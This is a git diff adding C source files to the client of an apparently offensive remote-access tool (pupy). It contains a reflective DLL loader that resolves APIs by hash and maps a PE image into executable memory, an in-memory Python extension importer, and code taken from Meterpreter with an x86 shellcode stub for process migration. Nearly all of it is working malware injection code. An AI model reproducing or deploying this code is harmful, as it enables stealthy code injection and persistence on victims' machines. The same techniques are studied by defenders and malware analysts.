dwHashValue == VIRTUALALLOC_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == LOADLIBRARYA_HASH ) + pLoadLibraryA = (LOADLIBRARYA)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == GETPROCADDRESS_HASH ) + pGetProcAddress = (GETPROCADDRESS)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + else if( dwHashValue == VIRTUALALLOC_HASH ) + pVirtualAlloc = (VIRTUALALLOC)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + else if( (DWORD)uiValueC == NTDLLDLL_HASH ) + { + // get this modules base address + uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase; + + // get the VA of the modules NT Header + uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of name pointers + uiNameArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNames ); + + // get the VA for the array of name ordinals + uiNameOrdinals = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfNameOrdinals ); + + usCounter = 1; + + // loop while we still have imports to find + while( usCounter > 0 ) + { + // compute the hash values for this function name + dwHashValue = hash( (char *)( uiBaseAddress + DEREF_32( uiNameArray ) ) ); + + // if we have found a function we want we get its virtual address + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + { + // get the VA for the array of addresses + uiAddressArray = ( uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use this functions name ordinal as an index into the array of name pointers + uiAddressArray += ( DEREF_16( uiNameOrdinals ) * sizeof(DWORD) ); + + // store this functions VA + if( dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH ) + pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)( uiBaseAddress + DEREF_32( uiAddressArray ) ); + + // decrement our counter + usCounter--; + } + + // get the next exported function name + uiNameArray += sizeof(DWORD); + + // get the next exported function name ordinal + uiNameOrdinals += sizeof(WORD); + } + } + + // we stop searching when we have found everything we need. + if( pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache ) + break; + + // get the next entry + uiValueA = DEREF( uiValueA ); + } + + // STEP 2: load our image into a new permanent location in memory... + + // get the VA of the NT Header for the PE to be loaded + uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // allocate all the memory for the DLL to be loaded into. we can load at any address because we will + // relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems. + uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); + + // we must now copy over the headers + uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders; + uiValueB = uiLibraryAddress; + uiValueC = uiBaseAddress; + + while( uiValueA-- ) + *(BYTE *)uiValueC++ = *(BYTE *)uiValueB++; + + // STEP 3: load in all of our sections... + + // uiValueA = the VA of the first section + uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader ); + + // itterate through all sections, loading them into memory. + uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections; + while( uiValueE-- ) + { + // uiValueB is the VA for this section + uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress ); + + // uiValueC if the VA for this sections data + uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData ); + + // copy the section over + uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData; + + while( uiValueD-- ) + *(BYTE *)uiValueB++ = *(BYTE *)uiValueC++; + + // get the VA of the next section + uiValueA += sizeof( IMAGE_SECTION_HEADER ); + } + + // STEP 4: process our images import table... + + // uiValueB = the address of the import directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ]; + + // we assume their is an import table to process + // uiValueC is the first entry in the import table + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // itterate through all imports + while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) + { + // use LoadLibraryA to load the imported module into memory + uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) ); + + // uiValueD = VA of the OriginalFirstThunk + uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk ); + + // uiValueA = VA of the IAT (via first thunk not origionalfirstthunk) + uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk ); + + // itterate through all imported functions, importing by ordinal if no name present + while( DEREF(uiValueA) ) + { + // sanity check uiValueD as some compilers only import by FirstThunk + if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG ) + { + // get the VA of the modules NT Header + uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew; + + // uiNameArray = the address of the modules export directory entry + uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ]; + + // get the VA of the export directory + uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress ); + + // get the VA for the array of addresses + uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions ); + + // use the import ordinal (- export ordinal base) as an index into the array of addresses + uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) ); + + // patch in the address for this imported function + DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) ); + } + else + { + // get the VA of this functions import by name struct + uiValueB = ( uiBaseAddress + DEREF(uiValueA) ); + + // use GetProcAddress and patch in the address for this imported function + DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name ); + } + // get the next imported function + uiValueA += sizeof( ULONG_PTR ); + if( uiValueD ) + uiValueD += sizeof( ULONG_PTR ); + } + + // get the next import + uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR ); + } + + // STEP 5: process all of our images relocations... + + // calculate the base address delta and perform relocations (even if we load at desired image base) + uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase; + + // uiValueB = the address of the relocation directory + uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ]; + + // check if their are any relocations present + if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size ) + { + // uiValueC is now the first entry (IMAGE_BASE_RELOCATION) + uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress ); + + // and we itterate through all entries... + while( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock ) + { + // uiValueA = the VA for this relocation block + uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress ); + + // uiValueB = number of entries in this relocation block + uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC ); + + // uiValueD is now the first entry in the current relocation block + uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION); + + // we itterate through all the entries in the current block... + while( uiValueB-- ) + { + // perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required. + // we dont use a switch statement to avoid the compiler building a jump table + // which would not be very position independent! + if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 ) + *(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress; + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW ) + *(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress; +#ifdef WIN_ARM + // Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem. + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T ) + { + register DWORD dwInstruction; + register DWORD dwAddress; + register WORD wImm; + // get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word) + dwInstruction = *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ); + // flip the words to get the instruction as expected + dwInstruction = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + // sanity chack we are processing a MOV instruction... + if( (dwInstruction & ARM_MOV_MASK) == ARM_MOVT ) + { + // pull out the encoded 16bit value (the high portion of the address-to-relocate) + wImm = (WORD)( dwInstruction & 0x000000FF); + wImm |= (WORD)((dwInstruction & 0x00007000) >> 4); + wImm |= (WORD)((dwInstruction & 0x04000000) >> 15); + wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4); + // apply the relocation to the target address + dwAddress = ( (WORD)HIWORD(uiLibraryAddress) + wImm ) & 0xFFFF; + // now create a new instruction with the same opcode and register param. + dwInstruction = (DWORD)( dwInstruction & ARM_MOV_MASK2 ); + // patch in the relocated address... + dwInstruction |= (DWORD)(dwAddress & 0x00FF); + dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4; + dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15; + dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4; + // now flip the instructions words and patch back into the code... + *(DWORD *)( uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD) ) = MAKELONG( HIWORD(dwInstruction), LOWORD(dwInstruction) ); + } + } +#endif + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress); + else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW ) + *(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress); + + // get the next entry in the current relocation block + uiValueD += sizeof( IMAGE_RELOC ); + } + + // get the next entry in the relocation directory + uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock; + } + } + + // STEP 6: call our images entry point + + // uiValueA = the VA of our newly loaded DLL/EXE's entry point + uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint ); + + // We must flush the instruction cache to avoid stale code being used which was updated by our relocation processing. + pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 ); + + // call our respective entry point, fudging our hInstance value +#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR + // if we are injecting a DLL via LoadRemoteLibraryR we call DllMain and pass in our parameter (via the DllMain lpReserved parameter) + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter ); +#else + // if we are injecting an DLL via a stub we call DllMain with no parameter + ((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL ); +#endif + + // STEP 8: return our new entry point address so whatever called us can call DllMain() if needed. + return uiValueA; +} +//===============================================================================================// +#ifndef REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN + +BOOL WINAPI DllMain( HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved ) +{ + BOOL bReturnValue = TRUE; + switch( dwReason ) + { + case DLL_QUERY_HMODULE: + if( lpReserved != NULL ) + *(HMODULE *)lpReserved = hAppInstance; + break; + case DLL_PROCESS_ATTACH: + hAppInstance = hinstDLL; + break; + case DLL_PROCESS_DETACH: + case DLL_THREAD_ATTACH: + case DLL_THREAD_DETACH: + break; + } + return bReturnValue; +} + +#endif +//===============================================================================================// diff --git a/client/sources/ReflectiveLoader.h b/client/sources/ReflectiveLoader.h new file mode 100644 index 00000000..71c40417 --- /dev/null +++ b/client/sources/ReflectiveLoader.h @@ -0,0 +1,204 @@ +//===============================================================================================// +// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com) +// All rights reserved. +// +// Redistribution and use in source and binary forms, with or without modification, are permitted +// provided that the following conditions are met: +// +// * Redistributions of source code must retain the above copyright notice, this list of +// conditions and the following disclaimer. +// +// * Redistributions in binary form must reproduce the above copyright notice, this list of +// conditions and the following disclaimer in the documentation and/or other materials provided +// with the distribution. +// +// * Neither the name of Harmony Security nor the names of its contributors may be used to +// endorse or promote products derived from this software without specific prior written permission. +// +// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR +// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND +// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR +// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR +// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR +// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +// POSSIBILITY OF SUCH DAMAGE. +//===============================================================================================// +#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +#define _REFLECTIVEDLLINJECTION_REFLECTIVELOADER_H +//===============================================================================================// +#define WIN32_LEAN_AND_MEAN +#include +#include +#include + +#include "ReflectiveDLLInjection.h" + +typedef HMODULE (WINAPI * LOADLIBRARYA)( LPCSTR ); +typedef FARPROC (WINAPI * GETPROCADDRESS)( HMODULE, LPCSTR ); +typedef LPVOID (WINAPI * VIRTUALALLOC)( LPVOID, SIZE_T, DWORD, DWORD ); +typedef DWORD (NTAPI * NTFLUSHINSTRUCTIONCACHE)( HANDLE, PVOID, ULONG ); + +#define KERNEL32DLL_HASH 0x6A4ABC5B +#define NTDLLDLL_HASH 0x3CFA685D + +#define LOADLIBRARYA_HASH 0xEC0E4E8E +#define GETPROCADDRESS_HASH 0x7C0DFCAA +#define VIRTUALALLOC_HASH 0x91AFCA54 +#define NTFLUSHINSTRUCTIONCACHE_HASH 0x534C0AB8 + +#define IMAGE_REL_BASED_ARM_MOV32A 5 +#define IMAGE_REL_BASED_ARM_MOV32T 7 + +#define ARM_MOV_MASK (DWORD)(0xFBF08000) +#define ARM_MOV_MASK2 (DWORD)(0xFBF08F00) +#define ARM_MOVW 0xF2400000 +#define ARM_MOVT 0xF2C00000 + +#define HASH_KEY 13 +//===============================================================================================// +#pragma intrinsic( _rotr ) + +__forceinline DWORD ror( DWORD d ) +{ + return _rotr( d, HASH_KEY ); +} + +__forceinline DWORD hash( char * c ) +{ + register DWORD h = 0; + do + { + h = ror( h ); + h += *c; + } while( *++c ); + + return h; +} +//===============================================================================================// +typedef struct _UNICODE_STR +{ + USHORT Length; + USHORT MaximumLength; + PWSTR pBuffer; +} UNICODE_STR, *PUNICODE_STR; + +// WinDbg> dt -v ntdll!_LDR_DATA_TABLE_ENTRY +//__declspec( align(8) ) +typedef struct _LDR_DATA_TABLE_ENTRY +{ + //LIST_ENTRY InLoadOrderLinks; // As we search from PPEB_LDR_DATA->InMemoryOrderModuleList we dont use the first entry. + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + PVOID DllBase; + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STR FullDllName; + UNICODE_STR BaseDllName; + ULONG Flags; + SHORT LoadCount; + SHORT TlsIndex; + LIST_ENTRY HashTableEntry; + ULONG TimeDateStamp; +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + +// WinDbg> dt -v ntdll!_PEB_LDR_DATA +typedef struct _PEB_LDR_DATA //, 7 elements, 0x28 bytes +{ + DWORD dwLength; + DWORD dwInitialized; + LPVOID lpSsHandle; + LIST_ENTRY InLoadOrderModuleList; + LIST_ENTRY InMemoryOrderModuleList; + LIST_ENTRY InInitializationOrderModuleList; + LPVOID lpEntryInProgress; +} PEB_LDR_DATA, * PPEB_LDR_DATA; + +// WinDbg> dt -v ntdll!_PEB_FREE_BLOCK +typedef struct _PEB_FREE_BLOCK // 2 elements, 0x8 bytes +{ + struct _PEB_FREE_BLOCK * pNext; + DWORD dwSize; +} PEB_FREE_BLOCK, * PPEB_FREE_BLOCK; + +// struct _PEB is defined in Winternl.h but it is incomplete +// WinDbg> dt -v ntdll!_PEB +typedef struct __PEB // 65 elements, 0x210 bytes +{ + BYTE bInheritedAddressSpace; + BYTE bReadImageFileExecOptions; + BYTE bBeingDebugged; + BYTE bSpareBool; + LPVOID lpMutant; + LPVOID lpImageBaseAddress; + PPEB_LDR_DATA pLdr; + LPVOID lpProcessParameters; + LPVOID lpSubSystemData; + LPVOID lpProcessHeap; + PRTL_CRITICAL_SECTION pFastPebLock; + LPVOID lpFastPebLockRoutine; + LPVOID lpFastPebUnlockRoutine; + DWORD dwEnvironmentUpdateCount; + LPVOID lpKernelCallbackTable; + DWORD dwSystemReserved; + DWORD dwAtlThunkSListPtr32; + PPEB_FREE_BLOCK pFreeList; + DWORD dwTlsExpansionCounter; + LPVOID lpTlsBitmap; + DWORD dwTlsBitmapBits[2]; + LPVOID lpReadOnlySharedMemoryBase; + LPVOID lpReadOnlySharedMemoryHeap; + LPVOID lpReadOnlyStaticServerData; + LPVOID lpAnsiCodePageData; + LPVOID lpOemCodePageData; + LPVOID lpUnicodeCaseTableData; + DWORD dwNumberOfProcessors; + DWORD dwNtGlobalFlag; + LARGE_INTEGER liCriticalSectionTimeout; + DWORD dwHeapSegmentReserve; + DWORD dwHeapSegmentCommit; + DWORD dwHeapDeCommitTotalFreeThreshold; + DWORD dwHeapDeCommitFreeBlockThreshold; + DWORD dwNumberOfHeaps; + DWORD dwMaximumNumberOfHeaps; + LPVOID lpProcessHeaps; + LPVOID lpGdiSharedHandleTable; + LPVOID lpProcessStarterHelper; + DWORD dwGdiDCAttributeList; + LPVOID lpLoaderLock; + DWORD dwOSMajorVersion; + DWORD dwOSMinorVersion; + WORD wOSBuildNumber; + WORD wOSCSDVersion; + DWORD dwOSPlatformId; + DWORD dwImageSubsystem; + DWORD dwImageSubsystemMajorVersion; + DWORD dwImageSubsystemMinorVersion; + DWORD dwImageProcessAffinityMask; + DWORD dwGdiHandleBuffer[34]; + LPVOID lpPostProcessInitRoutine; + LPVOID lpTlsExpansionBitmap; + DWORD dwTlsExpansionBitmapBits[32]; + DWORD dwSessionId; + ULARGE_INTEGER liAppCompatFlags; + ULARGE_INTEGER liAppCompatFlagsUser; + LPVOID lppShimData; + LPVOID lpAppCompatInfo; + UNICODE_STR usCSDVersion; + LPVOID lpActivationContextData; + LPVOID lpProcessAssemblyStorageMap; + LPVOID lpSystemDefaultActivationContextData; + LPVOID lpSystemAssemblyStorageMap; + DWORD dwMinimumStackCommit; +} _PEB, * _PPEB; + +typedef struct +{ + WORD offset:12; + WORD type:4; +} IMAGE_RELOC, *PIMAGE_RELOC; +//===============================================================================================// +#endif +//===============================================================================================// + diff --git a/client/sources/_memimporter.c b/client/sources/_memimporter.c new file mode 100644 index 00000000..7a30bd3e --- /dev/null +++ b/client/sources/_memimporter.c @@ -0,0 +1,88 @@ +/* + For the _memimporter compiled into py2exe exe-stubs we need "Python-dynload.h". + For the standalone .pyd we need +*/ + +#ifdef STANDALONE +# include +# include "Python-version.h" +#else +# include "Python-dynload.h" +# include +#endif +#include + +static char module_doc[] = +"Importer which can load extension modules from memory"; + +//#include "MemoryModule.h" +#include "MyLoadLibrary.h" +#include "actctx.h" + + +static PyObject * +import_module(PyObject *self, PyObject *args) +{ + char *data; + int size; + char *initfuncname; + char *modname; + char *pathname; + //HMEMORYMODULE hmem; + HMODULE hmem; + FARPROC do_init; + + ULONG_PTR cookie = 0; + char *oldcontext; + + /* code, initfuncname, fqmodulename, path */ + if (!PyArg_ParseTuple(args, "s#sss:import_module", + &data, &size, + &initfuncname, &modname, &pathname)) + return NULL; + cookie = _My_ActivateActCtx();//try some windows manifest magic... + hmem=MyLoadLibrary(pathname, data, NULL); + _My_DeactivateActCtx(cookie); + if (!hmem) { + PyErr_Format(PyExc_ImportError, + "MemoryLoadLibrary failed loading %s", pathname); + return NULL; + } + do_init = MyGetProcAddress(hmem, initfuncname); + if (!do_init) { + MyFreeLibrary(hmem); + PyErr_Format(PyExc_ImportError, + "Could not find function %s", initfuncname); + return NULL; + } + + oldcontext = _Py_PackageContext; + _Py_PackageContext = modname; + do_init(); + _Py_PackageContext = oldcontext; + if (PyErr_Occurred()) + return NULL; + /* Retrieve from sys.modules */ + return PyImport_ImportModule(modname); +} + +static PyObject * +get_verbose_flag(PyObject *self, PyObject *args) +{ + return PyInt_FromLong(Py_VerboseFlag); +} + +static PyMethodDef methods[] = { + { "import_module", import_module, METH_VARARGS, + "import_module(data, size, initfuncname, path) -> module" }, + { "get_verbose_flag", get_verbose_flag, METH_NOARGS, + "Return the Py_Verbose flag" }, + { NULL, NULL }, /* Sentinel */ +}; + +DL_EXPORT(void) +init_memimporter(void) +{ + Py_InitModule3("_memimporter", methods, module_doc); +} + diff --git a/client/sources/actctx.c b/client/sources/actctx.c new file mode 100644 index 00000000..19b3786f --- /dev/null +++ b/client/sources/actctx.c @@ -0,0 +1,25 @@ +#include "actctx.h" + +HANDLE PyWin_DLLhActivationContext=NULL; +PFN_GETCURRENTACTCTX pfnGetCurrentActCtx=NULL; +PFN_ACTIVATEACTCTX pfnActivateActCtx=NULL; +PFN_DEACTIVATEACTCTX pfnDeactivateActCtx=NULL; +PFN_ADDREFACTCTX pfnAddRefActCtx=NULL; +PFN_RELEASEACTCTX pfnReleaseActCtx=NULL; + +ULONG_PTR _My_ActivateActCtx() +{ + ULONG_PTR ret = 0; + if (PyWin_DLLhActivationContext && pfnActivateActCtx) + if (!(*pfnActivateActCtx)(PyWin_DLLhActivationContext, &ret)) { + ret = 0; // no promise the failing function didn't change it! + } + return ret; +} + +void _My_DeactivateActCtx(ULONG_PTR cookie) +{ + if (cookie && pfnDeactivateActCtx) + if (!(*pfnDeactivateActCtx)(0, cookie)){} +} + diff --git a/client/sources/actctx.h b/client/sources/actctx.h new file mode 100644 index 00000000..7c318c66 --- /dev/null +++ b/client/sources/actctx.h @@ -0,0 +1,41 @@ +#include +#include +#include + +#include +// Windows "Activation Context" work: +// Our .pyd extension modules are generally built without a manifest (ie, +// those included with Python and those built with a default distutils. +// This requires we perform some "activation context" magic when loading our +// extensions. In summary: +// * As our DLL loads we save the context being used. +// * Before loading our extensions we re-activate our saved context. +// * After extension load is complete we restore the old context. +// As an added complication, this magic only works on XP or later - we simply +// use the existence (or not) of the relevant function pointers from kernel32. +// See bug 4566 (http://python.org/sf/4566) for more details. +#ifdef __cplusplus +extern "C" { +#endif + +typedef BOOL (WINAPI * PFN_GETCURRENTACTCTX)(HANDLE *); +typedef BOOL (WINAPI * PFN_ACTIVATEACTCTX)(HANDLE, ULONG_PTR *); +typedef BOOL (WINAPI * PFN_DEACTIVATEACTCTX)(DWORD, ULONG_PTR); +typedef BOOL (WINAPI * PFN_ADDREFACTCTX)(HANDLE); +typedef BOOL (WINAPI * PFN_RELEASEACTCTX)(HANDLE); + +// locals and function pointers for this activation context magic. +extern HANDLE PyWin_DLLhActivationContext; +extern PFN_GETCURRENTACTCTX pfnGetCurrentActCtx; +extern PFN_ACTIVATEACTCTX pfnActivateActCtx; +extern PFN_DEACTIVATEACTCTX pfnDeactivateActCtx; +extern PFN_ADDREFACTCTX pfnAddRefActCtx; +extern PFN_RELEASEACTCTX pfnReleaseActCtx; + +void _MyLoadActCtxPointers(); +ULONG_PTR _My_ActivateActCtx(); +void _My_DeactivateActCtx(ULONG_PTR cookie); + +#ifdef __cplusplus +} +#endif diff --git a/client/sources/base_dispatch.c b/client/sources/base_dispatch.c new file mode 100644 index 00000000..b4741898 --- /dev/null +++ b/client/sources/base_dispatch.c @@ -0,0 +1,828 @@ +/* + This code has been taken from meterpreter and modified to be integrated into pupy. + original code :https://github.com/rapid7/metasploit-payloads/blob/master/c/meterpreter/source/common/arch/win/i386/ + +Meterpreter is available for use under the following license, commonly known as the +3-clause (or "modified") BSD license: + +========================================================================================= + +Meterpreter +----------- + +Copyright (c) 2006-2013, Rapid7 Inc + +Redistribution and use in source and binary forms, with or without modification, are +permitted provided that the following conditions are met: + +* Redistributions of source code must retain the above copyright notice, this list of + conditions and the following disclaimer. + +* Redistributions in binary form must reproduce the above copyright notice, this list of + conditions and the following disclaimer in the documentation and/or other materials + provided with the distribution. + +* Neither the name of Rapid7 nor the names of its contributors may be used to endorse or + promote products derived from this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY +EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF +MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL +THE COPYRIGHT OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT +OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) +HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR +TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + +*/ +#include "common.h" +#include "base_inject.h" +#include "../../../config.h" + +// see 'external/source/shellcode/windows/x86/src/migrate/migrate.asm' +BYTE migrate_stub_x86[] = "\xFC\x8B\x74\x24\x04\x81\xEC\x00\x20\x00\x00\xE8\x89\x00\x00\x00" + "\x60\x89\xE5\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B" + "\x72\x28\x0F\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C" + "\x20\xC1\xCF\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C" + "\x01\xD0\x8B\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B" + "\x58\x20\x01\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0" + "\xAC\xC1\xCF\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24" + "\x75\xE2\x58\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01" + "\xD3\x8B\x04\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51" + "\xFF\xE0\x58\x5F\x5A\x8B\x12\xEB\x86\x5D\x68\x33\x32\x00\x00\x68" + "\x77\x73\x32\x5F\x54\x68\x4C\x77\x26\x07\xFF\xD5\xB8\x90\x01\x00" + "\x00\x29\xC4\x54\x50\x68\x29\x80\x6B\x00\xFF\xD5\x50\x50\x8D\x5E" + "\x10\x53\x50\x40\x50\x40\x50\x68\xEA\x0F\xDF\xE0\xFF\xD5\x97\xFF" + "\x36\x68\x1D\x9F\x26\x35\xFF\xD5\xFF\x56\x08"; + 